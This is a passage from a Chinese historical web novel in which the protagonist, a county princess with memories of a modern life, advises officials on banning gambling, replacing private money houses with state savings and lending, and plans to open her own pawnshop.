表面上看,这些法律条文不仅适用于普通百姓,也适用于官员和贵族,但真有事了,自然会有各种方法来否掉这些。 这也是禁赌的一大难题。 现在有人提议加重惩罚机制,但事实上,再怎么重的惩罚,也不可能真地伤到那些权贵之家。 所以,这一条提了等于白提。 付沛的脑子活泛,再联想到几日前安乐县主命人送到他那里的书信,这才意识到自己先前是低估了这位县主的能力。 “方都尉以为呢?” 方大壮没想到陛下会点他的名,当即行礼:“回陛下,俺就是个粗人,不懂这些,您要是让俺杀人抢地盘行,其它的,俺真不会。” 一番话,引来一场哄笑。 有带有善意的,自然也有鄙夷的。 对于这些,方大壮都不在意。 他原本就是个粗人,有啥好避讳的? 爱咋地咋地,反正他就这样! 永安帝也是无奈地笑了笑,随后又问及许翰。 许翰心中早有成算,但还是故意带有几分迟疑道:“陛下,重点不是赌徒,而是这赌坊。因为有能让赌徒聚到一处的地方,所以才会给了他们机会。赌博之风不能兴,这会带坏我们整个京城,乃至整个大兴的风气,还请陛下明断!” 这话说到点子上了。 若是没有赌博的场地了,那自然就能很大程度上来杜绝赌博这种行为。 但具体要如何做呢? 永安帝也不是那等不食人间烟火气的仙人,自然知道,如今的赌坊也都是个个改名换姓,挂羊头卖狗肉。 外面一有个风吹草动,这里面的赌局立马就换了。 所以,想要严查,这是个难事。 一刀都切了,好像也不行,总会牵连到一些无辜者。 “诸位爱卿还有何良策?” 付沛站出来:“陛下,微臣以为若是想要禁赌,仅仅只是惩罚手段狠厉还不足。若只是贫苦百姓,这样的手段足矣,但事实上,还有一些权贵之子、富商之子流连于赌坊,就算是朝廷下令禁止了开设赌坊,可他们仍然会改头换面,巧立名目。” 顾东阳点头:“付大人言之有理,历朝历代,这赌之一事都极难禁。” 永安帝怒道:“再难也要禁!” 付沛继续道:“陛下,不若直接下令,若是发现有聚赌者,直接罚其劳役,或者是充军,且不许赎刑。若只是单纯地杖责或者是鞭刑,只恐不会让那些人长记性,他们甚至有可能会暗中放水。另外,若是查获有提供场地聚赌者,也当严惩。” 永安帝一想,这法子好呀! 罚劳役好! 反正他们大兴有那么多需要劳役的地方,这个主意好! “不错!至于具体细节,就由礼部以及刑部共同商议,之后报至越国公呈上来。” “是,陛下。” 第355章 要狙击的,可不仅仅只是赌坊 谢铮这脑子怎么也想不明白。 他知道一开始是许昭昭在故意针对姜家的产业,除了赌坊之外,姜家其它的产业也都有多多少少的亏损,但是没想到,许昭昭的最终目的是赌坊? 是吗? 是吧! 谢铮也想不明白了。 按说他也不傻呀,幼时也是早早开蒙,而且这些年的书也没少读呢,可为什么自家娘子做的事,他却看不懂了呢? 不止他不懂,就连状元郎付沛都不懂! 得了点儿消息的许翰也想不明白女儿到底要做什么。 让大兴更严厉地禁赌,这对朝廷的确是有好处,对整个大兴的社会风气也有好处。 但他们都看不明白,许昭昭能得到什么好处? 如果没有好处,那许昭昭又为什么故意来这一出呢? 只是单纯地看不惯姜家吗? 不能吧? 谢铮带着疑问来找许昭昭,甚至主动帮其端茶倒水,只为了能让她为自己解惑。 许昭昭不是一个喜欢做善人的性子,这其中一定另有关键。 许昭昭笑眯眯地喝过谢铮递上来的茶,然后微微歪头,颇有几分打趣的意味:“三郎想知道什么?” 谢铮也态度谦卑,头都不由得低了两分。 “娘子如此大张旗鼓地让大兴朝禁赌,所图为何?还请娘子不吝赐教。” 许昭昭哈哈笑了两声:“不急,再等等吧,一会儿人齐了,我再说,省得一会儿还得再重复一遍。” 谢铮:嗯? 还有人要来? 果然,不到一刻钟,许翰、许君安、付沛就都来了。 几人的问题都是一样的。 许昭昭的视线在几人身上扫过一遍,最终锁定在付沛的身上。 “赌坊其实有一个最为广为人知的名字,便是柜坊。这一点,相信几位都知道吧?” 谢铮不知道,付沛也不知道。 倒是许翰和许君安父子二人微微点头:“的确是听闻现在大部分的柜坊里都开设了赌坊。” “其实柜坊的存在是一件好事,可以为百姓提供钱币寄存和借贷服务,商人凭信物提取财物。这能方便他们做生意的同时,也是繁荣了我大兴的经济。 但万事有利有弊,这柜坊由于缺乏监管,部分柜坊与富家子弟勾结,逐渐演变为地下钱庄,成为赌博活动的据点。而且柜坊的不少管事也都清楚,开设赌局带来的利润不仅丰厚,而且回报速度也快。 所以,这兹生了他们的贪欲,从而与一些权贵子弟勾结在一起,只是为了满足自己的私欲,同时又能为他们的柜坊招揽更多的生意,还有暗中针对自己的对手。如此一来,便生生地让柜坊的存在,弊大于利了。” 许昭昭这一番解释,几人也都听明白了。 无论外面那些叫得多花俏或者是雅致名字的赌坊,其实都不及一间柜坊中设赌局带来的危害大。 普通老百姓看不出其弊端所在,但是在场几人都是要么出身富贵,要么饱读史书,且对于这其中的一些关窍,一点就透。 “柜坊原本就有充足的银钱,只要他们一开赌坊,那的确是有着最大的便利条件。若是不加以制止,印子钱便会油然而生。除此之外,若是这样只图利的柜坊真地做大做强了,那么对于朝廷是有极大威胁的。” 不愧是上辈子能坐到宰相位置的状元郎,果然厉害,这直觉就是敏锐,而且看问题也很尖锐。 但是,付沛毕竟是古人,所以他的思想受限。 许昭昭想的是,这年头的柜坊虽然是比以前方便了许多,但仍然是存在太多的弊端。 其中之一,便是无人监管。 朝廷意识不到这能为朝廷带来多大的利润和公信力,但是许昭昭能看到。 虽然她能看到,但她还是需要有更多的智者来帮忙出谋划策。 而且,她不会介入其中。 这需要朝廷才能做成,她一人之力,做不了,但是不妨碍她给朝廷提供一些策略,然后由朝廷将其完善,最终自己的商队获利。 嗯,她真是太聪明了。 上辈子银行的强大,几乎是个人就离不了。 这辈子,在大兴,虽然做不成联网的银行,但是把钱庄弄出来,应该问题不大。 但是想要弄出钱庄来,第一件事就是要把现在的柜坊干掉! 因为这里涉及赌博、高利贷等问题,这些都是阻碍钱庄发展,甚至是影响朝廷公信力的大麻烦。 所以,先把这个解决了,之后,民间的柜坊仍然存在,但是有了朝廷的钱庄出击之后,到底是只允许正经买卖商人、百姓来借贷的大兴钱庄更让人信服,还是私底下放印子钱,还曾怂恿人赌博的私人柜坊更令人信服? 答案已经不言而喻。 现在,许昭昭就只做幕后的那只推手就好。 她不参与打击柜坊的事里,也不参与筹备钱庄的决策里,她只负责提供一些零零散散的想法和建议。 有付沛和顾东阳这两位脑子转得快的人出主意,一切都水到渠成。 当然,借此机会,还能大力地打击一下姜家,何乐而不为? 姜家暗中投资的赌坊,仅仅是在京城,就有八家之多。 除此之外,还有柜坊! 前朝时,柜坊曾归朝廷管治,可是大兴建立之后,为了褒奖其中的一些商户以及贵族之后,所以就下令柜坊可以私人开设,但前提是要到官府交纳一定的银钱丝帛做为质押。 所以,大兴朝,便有了私人柜坊。 别人查不到,但瞒不过许昭昭。 姜家竟然早在二十多年前,便在柜坊有暗股。 一年到头下来,别的不说,仅仅是柜坊那里提供给姜家的分成,就高达上百万贯! 这是什么概念? 大兴一年的税收也不过才三百多万贯。 而姜家,随随便便,啥也不干,一年的收入就在一百万贯以上,再加上其它的产业以及见不得光的灰色收入,姜家一年的收入,抵得上国库一年的税收。 想想都吓人! 现在陛下对姜家好,那是因为不知道这暗地里头的一些事,如果真知道了,就凭着永安帝的贤明,再宠爱姜贵妃,也一定不会轻饶了姜家的。 许昭昭此举,看似是在针对赌坊,实际上,却是瞄准了私人柜坊! 因为私人柜坊,才是最大的赌徒聚集地。 因为他遍布大兴! 第356章 印子钱 付沛一针见血地指出问题所在,其实,他早就不满于私人柜坊的出现,这于国事不利。 前朝时,柜坊一直都是归属于朝廷监管,但是后来太祖上位前,曾多次得到那几大世家的帮助,所以才给开出了这样的条件,允许他们可以经营私人柜坊。 但谁能想到,竟然会给新朝埋下这样的祸患! 许昭昭状似无意道:“柜坊的存在,其中之一便是为了方便商户们交易,说白了,这山里头的果子能不能运到城里头来卖,要由商户来实现。商户重利,朝廷可以压制,但是再怎么压制,商户的存在是必然的,也是必需的。而柜坊,尤其是私人柜坊,那就不一定了。” 付沛闻言,不由得陷入沉思。 许翰和许君安对视一眼,也反应过来,许昭昭的最终目标,好像并不是赌坊。 “付大人可知印子钱?” 付沛回神,先是茫然一息,随后恢复如常:“自然是知道的。” “那付大人可知何处放印子钱最多?” 付沛沉默片刻后,试探性问道:“私人柜坊?” 许昭昭摇摇头,私人柜坊并不敢大规模地放印子钱,因为这是违法的,朝廷明令禁止的。 一旦发现,那是要重判的。 “放印子钱的地方有很多,金银楼、私人柜坊,甚至于一些小地方的酒楼都敢放印子钱。但是真正数额庞大的印子钱的主人,却是世家勋贵。” 许翰双眉微蹙,然后摇头叹气:“据我所知,当年邓家没倒之前,就放出去近一百万贯的印子钱。你可以想像一下,邓家能获利多少!” 付沛沉默了。 他对于真正的勋贵世家的生活还是不够了解。 他即将迎娶许文大人的女儿,但是并不代表了他就真地进入这个圈层了。 首先,他得有权利、有地位,否则,以他的出身,只凭着娶妻便直接跃入这个圈层,那是痴人说梦。 许昭昭笑了笑,又道:“印子钱是高利贷中的一种形式,放债人以高利发放贷款,本息到期一起计算,借款人必须分次归还。 比如说:放钱十吊,以一月为期,每月二分行息,合计一月间本利,共为十吊零二百文。再以三十日除之,每日应还本利钱为三百四十文。当贷出原本时,即扣除本利,然后按日索取每日应还的本利,到期取完。因为每次归还都要在折子上盖一印记,所以人们就把它叫做印子钱。” 许君安也跟着点点头:“民间贷钱征息,子母相权,谓之印子钱。” 许昭昭看他一眼,随后再次将目光扫向付沛:“刚刚我打的比方,只能算是比较正常的印子钱,而实际上,很多达官贵人为了谋取暴利,会加大行息。比如说放钱十吊,每月二分行息,但仅限于第一月,于次月后,可能就会突然涨至三分、四分行息不等。 付大人想想看,原本前面的钱没有还完,就是带着利息的,如今再加大利钱,普通老百姓,便是砸锅卖铁也是还不上的。而即便是有些人不涨息,但是他会故意设阻,就是为了让对方还不上钱,如此,方能利滚利,所以,最终就只会导向一种结果。” 许昭昭话落,目光定定地看向付沛。 付沛也没让她失望,沉声道:“农户会开始卖粮卖田,商户则是会卖掉自己的商铺,而工籍的那些手艺人,极有可能就会把自己卖入一个作坊里三年五年,甚至是十几二十年谋生……” 后面的话,付沛说不出口了。 因为现实里,还有很多人即便是卖掉了这些产业仍然还不起钱,所以,只能卖儿卖女。 俗语云:印子钱,一还三;利滚利,年年翻;一年借,十年还;几辈子,还不完! 流民、乞丐,甚至是山匪凶徒,可能就是由此而诞生的。 这么一大串下来,这印子钱,便是导致了百姓生活不稳的一大因素。 付沛如今是官身,再放眼全国,这便会导致大兴基石不稳,这是大患! 思及此,付沛起身,整理了一下衣衫,然后对着许昭昭深深一揖:“今日付某,受教了!” 许昭昭见他已经明白了其中厉害关系,便笑道:“付大人请坐,咱们继续。” “放印子钱的大数额的东家,的确都是勋贵世家之人,但并非全都如此。而且也并不是所有放印子钱的都是为富不仁之人。 一些大家族的遗孤或者无劳动能力的寡妇等等,为了维持生活,会卖掉祖屋等,筹措一笔钱,放印子,好牟利生活。 可是这样的人往往有放无收,因为不具备一定的后台和力量回收利息甚至本钱,说白了,也是一股弱势力量。他们往往花钱请地痞流氓或者有权势者帮助他们,在欺负别人的同时,也被欺负着。 由此看出,印子钱是非常不规范的关系,各种弊端很多,但是有两点,我们不能否认。” 付沛此时的态度更为谦卑,拱手道:“还请县主赐教。” 许昭昭随意地轻抬一下手,以示不必多礼。 “我们不能否认的是:印子钱的确是可以牟利,而且是钱财的数额越大,利润越为丰厚。而且,若是有人遇到急事,这印子钱也的确是可解燃眉之急!” 付沛脸色微沉:“还请县主明示。” “比如说,家中突发状况,有人得了急症,又或者是家中需要办喜事,银钱不凑手等等,普通老百姓,或许能找自己的亲朋来借一借,缓一缓。但若是商户呢? 商户在外行走,比如说只带了十万贯的飞钱,若是遇到了商机,银钱不凑手,这么大的数额,他从哪里去借?” 付沛听得一脸茫然,许昭昭再去看自己的父兄,也是一样的反应。 果然,还是得想法子再给他们脑子里灌些东西。 “比如说我手下去南诏购茶,遇上好茶了,但是银钱不够,但若是当地正好有我大兴的柜坊可以出借,或者是出贷呢?” 一语点醒梦中人! 付沛瞬间就悟了! 蹭地一下子,他竟兴奋得站起来,表情略有几分颠狂之色。 第357章 能借贷,为何不能储蓄? 付沛站了一会儿,然后又语无论次道:“有道理!这的确是两大优点,只是,只是我现在脑子有点儿乱。县主?” 许昭昭低笑了两声:“很简单。我们可以把利息调低,也可以将月息改为年息。如此一来,柜坊得到的利钱虽然少了,但终归还是有进项,而且对于普通人而言,这样的临时救急的钱,就不算是特别大的压力,无需执意卖房卖地才能还得上了。” 的确如此! 许翰也捋着胡子,觉得女儿说得对极了。 “这样好呀!把还钱的时间期限拉长了,而且月息改为年息,就等于是利钱少了,这的确是于百姓有好处。而且柜坊也不算是白白将银钱借出去了。一笔两笔看不出什么来,但若是笔数多了,数目大了,这盈利自然也就显现出来了。” 许君安也跟着点头。 一旁的谢铮最快发现了问题:“不对呀!可是柜坊只往外出,进的钱少,且时间线拉长,那他哪里来的钱往外借呢?” 许昭昭挑眉,眼睛放光。 不愧是自己选中的男人,就是聪明! 这脑子是真好使。 许昭昭耐心解释道:“能外往借贷,为何不能让人往里面储蓄呢?” 这是一个新的词汇,也是一个新的方向,一下子就让付沛呆在原地。 许昭昭给他的刺激太多了! 付沛觉得自己需要缓一缓。 “打个比方,若是你往我这里存十贯钱,定期的,存一年,我给你一年一百文的利钱,到了一年整的时候,你便可以过来取。等于是你的十贯钱,啥也没干,就净赚了一百文回去。我拿你这十贯钱,贷给了他。” 许昭昭抬手指向付沛,意思是将许君安存入的钱,直接又贷给付沛。 “他贷我的钱,十贯钱,一年需要支付我两百文的利钱,到一年整的时候,他便需要还我十贯又两百文。我拿十贯一百文还给你,如此一来,我不需要成本,也什么营生都不需要做,只需要在家里躺着,一年便能净得一百文。” 所有人都张大了嘴巴。 许昭昭这一番解释,把所有人都给惊着了。 就连刚刚还淡定如常的谢铮,这回都忍不住张大了嘴巴,太震惊了! 许昭昭看过几人诧异的表情,微微点头,十分满意。 “这只是一个十贯钱。就拿长安县举例。据我所知,长安县内如今人数大概是在四十万,假如这四十万人里面,每四人中只有一人是成年男丁,那么,便是十万人;再假如这十万人中,只有一成的人手中有余钱可储蓄,那便是一万人。 十贯钱不是小数目,而且也并非是所有人都愿意将钱存入一年不动,所以,我们打个对折,一万人中,只有五千人愿意存入十贯钱。 那么,账目就来了。 五千人,每人存入十贯钱的一年定期,那便是五万贯!一个十贯钱,我能得利一百文,那么五千个,我便是能得利五万文,也就是五十贯钱! 所以,只要我在长安县内设这么一所柜坊,保守估计我的纯利润就在五十贯钱。若我只是小户人家,足够我支撑一家人一年的开销,且是衣食无忧的那种。” 这才只是一个长安县! 这才只是按五千人算,而且一个人也只是打了十贯钱的比方。 但实际上,京城繁华,长安县内便有不少的商户富绅,那些有钱人,莫说是十贯,便是十万贯,也是能拿得出来的! 一时间,付沛觉得自己的呼吸都粗重起来。 那可都是钱呀! 如今陛下最忧心的是什么? 就是国库呀! 之前许君霆和王文远等人为陛下解忧,总算是有了能解决老百姓粮食的办法。 但是国库不仅要粮,还得要银钱呀! 边境守军要不要发军饷,要不要发各种的物资? 大兴国土庞大,年年都会有各种各样的灾情亦或者是一些人祸,朝廷要不要出钱出粮赈济? 哪哪都需要钱呀! 付沛觉得自己好像是找到可以充实国库的法子了。 但还不够。 “县主,你刚刚说的定期储蓄,这个我记住了,而且你说的是一年为一整期,但如果想短期存入呢?比如说我有十贯钱,但我两个月后要用,又不想放在家里招贼,该如何?” “这个简单呀!” 许昭昭笑了,这位付大人,当真是有一颗智慧的大脑呀。 真的是很快就能找到关键点。 “仍然拿十贯钱来举例。你有十贯钱,只打算存入两个月,那么就等于是不能完成定期的储蓄,而且像你这样的人定然很多,钱虽然少,而且存取虽然会麻烦一些,但总归是一份收入。所以,我们可以有一种特殊的存入方式,就是随取随用,随存随入!” 付沛拧起眉头,他好像是明白了。 “县主的意思是,我的十贯钱,可以随时存入柜坊,也可以随时支取?” 许昭昭点头:“不错。” “可是这利息又当如何计呢?” “简单!我刚刚说了,这样的方式会很麻烦,但是对于百姓而言是很方便的。所以,这种业务一定是最多的。那么,不管你是老百姓,还是商户,对于柜坊而言,你不能两者都要。又想利钱高,又想随时取用,哪有这等好事?” 付沛不自觉地点点头,有道理。 谢铮也跟着点头,好事哪能都让你占了? 没这个道理! “你的十贯钱,存入我这里,因为不是定期存一年,所以,利钱降为十贯钱一年利仅六十文。那么分散到一个月,便是五文钱,你存入两个月,那便是十文钱。当然,我只是打比方,并非是真地就按我说的这个利钱来操作,但是大概意思,我想付大人应该是听明白了。” 付沛十分激动地点头,那力度,恨不能把自己的脖子给拽着了。 “县主之意,下官明白了。高明!实在是高明呀!” 许昭昭收回笑容,略有几分烦恼道:“但是眼下,还有一个比较紧要的问题要解决。” 付沛立马追问:“什么问题?” 谢铮也看过来,紧跟着一句:“可是还有难处?” 第358章 这妥妥的亏钱呀! 许昭昭叹口气,脸色略有几分落寞。 “前朝时,这柜坊乃是朝廷监管。自我大兴开国以来,这柜坊便一直都是以私人为主。也因此,才会滋生出了大量的赌场,更有一些逼良为娼的恶事发生。如今就算是有我说的这等法子,但是,柜坊,已然失了民意。” 许君安急道:“不对!那是私人柜坊,又不是朝廷的柜坊!” 许昭昭摇头反驳:“朝廷虽有柜坊,但影响力远不及那些私人柜坊。而且,老百姓中识字之人能有多少?就算是识字,他们又如何能区分哪家是朝廷的,哪家又是私人的?” 谢铮认同,自然要支持娘子的说法:“昭昭说得不错。离京城越远,老百姓对于朝廷的认知就越薄弱。他们能看到的,接触到的,撑死了也就是地方上的官府,再高的,他们接触不到,如此一来,他们的认知,与京城百姓的认知,自然也就有很大区别。” 这是实话。 听起来有些扎心。 其实谢铮刚刚想说的是,越是偏远地方,皇权对于那里的掌控力就会越弱。 太有能力的臣子在边城时间久了,会引得陛下忌惮。 但是没能力的臣子在边城时间久了,会引起百姓不满,甚至还有可能会引起一些民乱。 总之,就是不好处理。 “县主既然提出来,那必然是早有高见,还请县主示下。” 许昭昭笑了,这位付沛是真把她当成一位智者了,还是把她当成点子中心了? 不过,眼下还是自己的最终目的要达成。 所以,罢了。 反正也是要送他一份功绩的。 既然如此,那便顺水推舟。 “不若朝廷出面,将柜坊改个名字,并且不管改成什么,前缀都要加上大兴二字!并且还要直接下令,这种可以借贷存储的地方,只许朝廷官营,不许私人介入,否则便是犯了国法,斩首抄家!” 许昭昭话落,又自谦地微微低头:“当然,这些只是我的一家之言,我只是一介妇人,见识浅薄,付大人若是想要办成这件利国利民的大好事,自然还是要多与户部尚书顾大人多多请教才是。” 付沛眼睛一亮,当下看许昭昭的眼神都不对了。 这是提点吧! 此等大事,若是绕开户部尚书,直接禀奏到御前,那可是得罪人的呀。 若非是许昭昭提醒这么一句,付沛还真就把顾东阳给忘了。 谢铮此时倒是心思一动:“既然是朝廷办的柜坊,哦,也不对,应该说是一处可以存储银钱丝帛之处,那必然要守卫森严一些。而且,即便是同在京城,但若是需要运往国库,还是需要武力押送。” 许翰眼珠子一转,看向儿子。 许君安先是一愣,看看父亲,再看看妹夫,好像是懂了。 “对对对!不能给歹人以可乘之机。而且,若是此事真成,那必然是要全大兴都遍布的。那我们的相应保护措施也得提上去。” 如此,一切就完美了。 当然,许昭昭不会再主动提出更多的细节。 比如说是不是可以有定期两年、三年的存储呢? 再比如说,若是借贷出去,要如何来考查对方的偿还能力呢?是不是还需要对方提供一定的物品做质押呢? 还有,若是朝廷开设的衙门,那就得安排相应的官员来负责,还要有人负责监督,这些如何安排等等。 …… 还有太多的细节需要去商榷了。 所以,接下来,户部尚书和付沛都有得忙了。 许昭昭不知道的是,没过几天,顾东阳就请许翰去芙蓉楼吃酒了。 接下来的事,都不适合再让许昭昭参与,所以她开始为自己的大业做准备。 大兴,是有当铺的。 不过,现在并不叫当铺,而是叫做质库,亦称质舍﹑解库﹑解典铺﹑解典库等。 质库说白了就是个借钱的地儿,但得拿东西抵押。 为了防止借钱的人不还钱,质库会让他们拿值钱的东西来押。 这些东西,啥都行,衣服、粮食、金银首饰、古玩字画、铜铁器皿,甚至房子、田地、牛马,连奴婢这样的活人都可以押,所以,如今没有当铺这个名字,而是叫质库。 质库一般都开在热闹的街市上,门口挂着个大大的“典”字招牌。 它们的围墙建得特别高,一来是防小偷,二来也是保护客户的隐私。 质库里头,有个高高的柜台,得典当的人双手把东西举上去。这样设计,一是想让人敬畏点,不敢讨价还价;二也是为了安全。 许昭昭已经去过几家京城的质库了。 说实话,比她想像的要差一些。 毕竟现在大兴的经济虽然繁华,但在金融方面还是不足以与后世媲美。 而且现在的质库并不算太多。 仅仅是长安县,总共才有五六家质库,这算是相当少的了。 许昭昭早就打上这质库的主意了。 只是一直没能找到合适的机会。 而且,在她看来,若是真地能让大兴开始铺设钱庄、票号之类的,那么,她的质库大业,定然很快就能实现。 只有钱庄兴盛了,那么,大兴的经济就能更加繁荣,与此同时,质库的生意才能真正的好起来。 谢铮进入许昭昭的书房,看到桌案上随意摆放的一些字和画,随手拿起一张来看看,结果越看越入谜,也越看越多。 “昭昭,你这是打算开质库?” “嗯。如你所见。” 谢铮懵了。 “可你不是才刚刚给付沛那里提建议说改造柜坊吗?这,若是大兴柜坊真地改建成功了,那质库的生意就会下滑。到时候你再开质库,不是妥妥亏钱吗?” 谢铮虽然不会经商,但是基本上的一些常识还是有的。 柜坊和质库,都是为了方便一些人借贷银钱,一旦有了朝廷公开的柜坊,而且利钱又低,谁会再去光临质库? 很明显,这柜坊与质库是同行呀! 许昭昭手上还握着毛笔呢,笑得有种‘你很蠢,但是很可爱’的感觉。 谢铮摸了一下额头,琢磨了一下自己刚刚的话,没毛病! “昭昭?” 许昭昭放下笔,冲他招手:“过来坐,我仔细与你讲讲。” 第359章 是怎么滚到榻上去的? 其实,谢铮会这么想也没毛病。 估计换成顾东阳这位户部尚书,也会是这样的想法。 毕竟许昭昭上辈子生活的环境和他们不同,这眼界和思维方式自然也就不同。 “三郎以为我若是开质库,必然亏钱?” 谢铮犹豫一下,觉得自己可能是判断失误,但还是点头道:“朝廷的柜坊一开,百姓们若需要借贷自然就会优先考虑更可靠的柜坊,质库自然就不受欢迎了。” 许昭昭笑了。 这种想法,既然谢铮有,那么其它人也会有。 所以,她的机会是真的来了。 许昭昭给了芍药一记眼神示意,随后屋里屋外都清静了。 “按说,事以密成。此事尚未看到雏形,我不该先透露出来。但你我是夫妻,本为一体,说与你听也无妨。” 谢铮一噎,总觉得自己好像是多事了。 “先不说咱们先前提的那种大兴柜坊是否能开设起来,就算是开设起来了,那它的存在,主要就是收受存银,支付利息;同时放出银钱,获取利息。 首先来说,柜坊放贷的对象并非普通百姓人家,应该是以商人为主,当然也会有一部分公款。我指的是可能会有与某处官衙的一些来往。 柜坊放贷也要分活期和定期。定期放贷通常有季节性规律,比如按季度来。民间的商户们常经营各种粮食、山货、土特产和药材茶叶等,这些都有季节性。可见柜坊经营应该是契合商人实际情况。 毕竟,柜坊是指着放贷给这些商户,然后好给自己带来利润的。我这样说,三郎以为对是不对?” 谢铮点头,同样的说法,许昭昭上次说的虽然不太详细,但是大差不差。 总体而言,若是大兴柜坊真能开设,那么主要就是靠往外放贷来充实国库。 这是好事。 利国利民的好事! 正是因为如此,所以现在陛下已经下旨让顾尚书和付沛来负责此事,要拟定出一个更详细可行的章程出来,如此,才好开始在京城试行。 一旦在京城试行超过三个月没有问题,那么紧接着就会以京城为中心,四散开来,最起码,京畿周围将会全部开设这种大兴柜坊。 按之前顾尚书的意思,至少是一县应有一处。 许昭昭将自己先前写的一点东西找出来,然后递给谢铮。 柜坊收受存储,支付利息;同时贷银给商户,以获取利息。 这只是钱庄赚钱的理论,实际玩起来绝对不简单。 这上面,便是许昭昭所列出来的种种问题和弊端。 谢铮越看越惊心,他没想到,妻子竟然想得如此长远,甚至还能如此地详尽。 “这是目前为止,我能想到的所有问题了。兴许这一两天顾大人和付大人会来造访。我虽为县主,但毕竟是妇人,不便介入此事,夫君细细看过,之后还要劳烦夫君去与他们详谈。” 许昭昭可以在付沛面前露出一角来,但是不能在顾东阳面前流露出一丝一毫的天分。 至少现在不能! 谢铮将这些都一一记下,然后看向许昭昭。 “这与你要开质库有何关联?这上面所列,皆为柜坊的一些弊端,想要解决并不困难。” “是呀,想要解决,并不困难。” 许昭昭目光一瞬间变得幽深起来,语速也放慢:“三郎,此次朝廷若是下定决心要办成此事,必然少不了要大量招收人手的。” 谢铮闻言一愣,随即明白过来。 “昭昭想要安排人进去?” “这还不明显吗?而且无论是谢氏族人,还是许氏族人,再或者是两家的一些故交旧部,总有一些吃不饱饭的,给他们一个可以衣食无忧的机会,难道不好吗?” 谢铮沉默片刻,微低头,语气沉闷。 “昭昭,这是你的功劳,我不能沾你的便宜。而且你已经帮了谢家很多,没必要再操心。” 谢铮说的是心里话。 谢林和周时谦被她安排,各自有了更好的前程,谢铮都不知道该如何谢她,如今,又是一个大人情。 “三郎多虑了,我们是夫妻呀!你好,我才能好。而谢氏庞大的一个家族,唯你一人好,并不能算好,无论你想不想,谢氏都会成为你的负担或者是助力。所以,我助谢氏,便是助你;我助你,便是助我自己。” 谢铮一时间觉得喉咙发烫,感激的话却怎么也说不出来。 这一刻,好像说什么都显得很苍白。 所以,谢铮也干脆放弃说好话,直接一口亲上去了。 许昭昭也没想到,这人竟然会在这个时候直接亲过来。 于是,原本说好的两人要在一起讨论质库是否会亏钱的事,竟然逐渐就演变得非礼勿视了。 等到许昭昭衣衫半褪,她倒是想起来自己还有话没说完,但是看到眼前男人那健硕的身材,八块腹肌,还有什么好说的呢? 再赚钱的事,也没有眼前的美色重要! 所以……先吃了他再说! 就这样,两人直接在书房的软榻上成就好事。 许昭昭完全清醒过来之时,只庆幸自己早早地把下人都打发出去了,不然得多害臊呀。 两人沐浴过后,谢铮抱着许昭昭上了月华阁的二楼,许昭昭趴在谢争的胸前,耳朵紧紧地贴着他的心脏处,听着他强健的心跳声,只觉得安全感十足。 “昭昭,我虽不知你打算如何经营质库,但我信你。这小小的内宅,不该困住你。” 许昭昭没说话,只是用力地搂住他的腰身,这是自己的男人呢,真好! 谢铮一手搂着她的腰,一只手拨弄着她的长发。 “我把宋青姑姑调到你身边吧,若是再有一些不体面的事情,就让她去给下头人传话,你不必出头。” 许昭昭一怔,抬起上半身:“你说什么?宋青姑姑?” 谢铮看着眼前的春色,眸光微暗了暗,艰难地做了一个吞咽的动作,声音微哑:“嗯,别小看宋青姑姑,她虽未习武,但是懂药理,家里家外的一些龌龊手段,她都熟知且有经验。有她帮你,我能更放心些。” 这次许昭昭利用姜文冲废了崔护,而反过来又利用崔家狙击姜延辉一事,着实是将谢铮给吓得不轻。 他还是想了好几天才弄明白这里面的一些关窍的。 他这娘子,手段高明,但不代表了就一定没有隐患呀! 第360章 大兴银号 许昭昭终于后知后觉发现了男人的变化,立马又趴了回去,刚刚才折腾好半天,她是真的累了,虽然这种事情是很美好,但也得适度。 两人又在一起腻歪了好一会儿,一直到晚上,两人才再次坐回到了书桌前。 许昭昭也恢复到原先的那番理智状态,只是说话时声音有些不太对。 “柜坊的营生当以双方诚信为基础,薄利经营,这一点无论是官办还是私人的,都该如此。而质库则不同,它是高利息,只看期限。赎期满,质库可直接卖掉抵押物品。质库求利,当户应急,本是合理交易,双方都无法保证赎回行为。” 这一点倒是真的。 谁也不能保证抵押物未来的所属人到底是谁。 而且说句不好听的,你拿一件皮袄子可以去质库里换些银钱出来,但是去柜坊,那一定不会有人搭理你的。 尤其是这柜坊若是只有官办的,那就更不会理你了。 说到底,这二者的经营方式不同,谋利手段不同,但归根结底,都是属于拿银钱来生银钱。 抵押物,无论好坏,质库的小二都会将物品描述得有些破烂,其实就是为了防止后面客人再故意找茬,也是为了将物品贬低,从而只置换给客人极低的价格。 质库会写一份字据,写好后,如果典当的人没意见,质库就收下东西给钱。但这不是卖东西,质库只是暂时保管这些东西。 双方会约定一个期限,一般是几个月到一两年期限内,典当的人可以凭票据把东西赎回去,但要付点利息。 如果到期还没赎回去,那这东西就归质库了,质库可以把它卖了赚钱。 现在谢铮明白质库赚钱的方式看似与柜坊相同,实际上,却是各有千秋。 “质库赚的是差价?” 许昭昭笑了笑:“算是吧。打比方,这方澄泥砚,正经在书斋里买,可能要五十贯钱,但是到了质库,对方会说这东西旧了、有磨损了等等,最多低给你二十贯钱,假如期限为一月,那么到时候你要带着二十贯零一百文来赎回这件东西。 这很合理,因为质库提供银钱为你应急了。但若是你到期未能赎回,这东西归质库,他们再出手,可能就是四十贯,若是遇到高明的卖家,兴许能被炒到六十贯甚至是一百贯。 所以,三郎你说,我若是开质库,是不是会特别赚钱?” 谢铮听得两眼快瞪出来了。 “你说这澄泥砚可以卖四十贯、五十贯,我都不反驳,可是一件旧物,如何还能让它卖得更贵了?甚至还能炒到一百贯去?这,这简直就是不可思议!” 许昭昭笑了,这里头的门道多着呢。 她现在可没心思再跟他多说了。 要知道她的质库可还没有正式开呢,所以不能急,赚钱的秘密,哪能都说出来? 许昭昭虽然不缺钱,但也不会嫌钱多。 而且,日后她和谢铮是要有孩子要抚养的,总得给孩子们置办些家业,要不然,日后为些祖产打起来了可怎么办? 次日,宋青就被调派到了许昭昭身边。 许昭昭身边除了几位大丫环之外,还有徐嬷嬷和于嬷嬷这两位陪嫁嬷嬷,另外就是谢铮以前的奶娘林嬷嬷也在这里。 按说,许昭昭身边的人手不少了。 但是许昭昭自己平时不管园子里的事,基本上都是让三位嬷嬷管着,所以她身边时常只有一位嬷嬷在跟前伺候。 眼下宋青来了,许昭昭就觉得可能日后会更轻松。 “宋青姑姑不必客气,既然是三郎让你过来我这里,那我自然是信得过的,而且不怕宋青姑姑笑话,我的女红不太好,三郎的一些里衣,我勉强还能应付,但若是外面穿用的,还得要麻烦宋青姑姑。” 宋青明白对方的意思,立马福身应下。 